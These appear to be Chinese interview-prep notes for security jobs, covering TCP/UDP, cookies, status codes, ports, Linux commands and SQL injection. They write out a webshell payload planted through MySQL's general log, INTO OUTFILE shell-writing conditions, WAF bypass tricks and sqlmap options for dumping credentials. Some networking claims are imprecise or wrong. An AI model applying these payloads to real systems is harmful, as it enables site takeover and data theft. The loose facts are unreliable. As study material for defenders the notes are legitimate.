面试题汇总

网络基础

TCP、UDP 协议

tcp:面向连接

udp:无连接,比如说:QQ发送消息就是UDP,速度要比TCP更快

TCP 为啥是三次握手,而并非四次 ?

因为三次握手是可靠的,而四次比较多余,不高效

img

Cookie、Session

cookie:存放在客户端、不安全、浏览器关闭的时候,周期结束

session:保存在服务端,比较安全

状态码

1
2
3
4
5
6
7
302:跳转

403:没有权限访问此站

404:指所请求的页面不存在、已被删除或无法访问

502:服务器错误、网关错误

常见端口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
IIS:80
SQLServer:1433
Oracle:1521
MySQL:3306
FTP:21
SSH:22
redies:6379
Tomcat:8080
webshpere管理工具,默认的端口号为9090;
JBOSS,默认的端口号为8080

Linux 基础

常见 Linux 命令

1
2
3
4
5
6
lsof -i 查看端口号
netstate -an
cp复制
mkdir创建文件夹
mv 剪切
rm命令(rm -rf 强制递归删除)

web 安全

SQL 注入

如何判断是否存在注入

加单引号、双引号、括号、双括号

and 1=1 、and 1=2

SQL 注入分类

联合查询
堆叠查询
布尔型注入
报错注入
延时注入
宽字节注入

SQL 注入写 Shell 的方式

into outfile
1
2
3
4
5
6
利用 into outfile、into dumpfile 写shell

利用条件
	需要root权限
	知道网站物理路径
	secure_file_priv为空(secure_file_priv的值为null,不能写入;为空,可以在任意位置写入;为路径,可以在该路径下写入)
日志写 Shell
1
2
3
4
how variables like ‘%general%';							#查看配置
set global general_log = on;							#开启general log模式
set global general_log_file = ‘/var/www/html/1.php';	#设置日志目录为shell地址
select ‘<?php eval($_POST[cmd]);?>’						#写入shell

SQL 注入绕 WAF

1
2
3
4
5
6
内联注释(/* */)
大小写(Union、UnloN)
编码转换(~可编码成0x7e代替)
重写 (只过滤一次union,采用ununionion)
宽字节注入
函数替换 (substring()替换同功能的mid()、substr())

Sqlmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
-u		注入点
-b		获取数据库版本信息
-p		指定可测试的参数(?page=1&id=2 -p “page,id”)
-D		指定数据库名
-T		指定表名
-C		指定字段
–columns	列出字段
–current-use	获取当前数据库名称
–current-db	获取当前数据库名称
–users		列数据库所有用户
–passwords	数据库用户所有密码
–privileges	查看用户权限(–privileges -U root)
-U		指定数据库用户
–dbs	列出所有数据库
–os	指定系统(Linux,Windows)	

sqlmap判断是否有注入

1
2
3
get类型:get型的注入命令,基本为python sqlmap.py(换到相应路径) -u “url” –level 1-5

post类型:post型的注入命令给,可以用brupsuite抓包用copy to file保存到txt文件,然后用python sqlmap.py -r “d:\aaa\1.txt” 判断是否存在注入点
 微信 微信
0%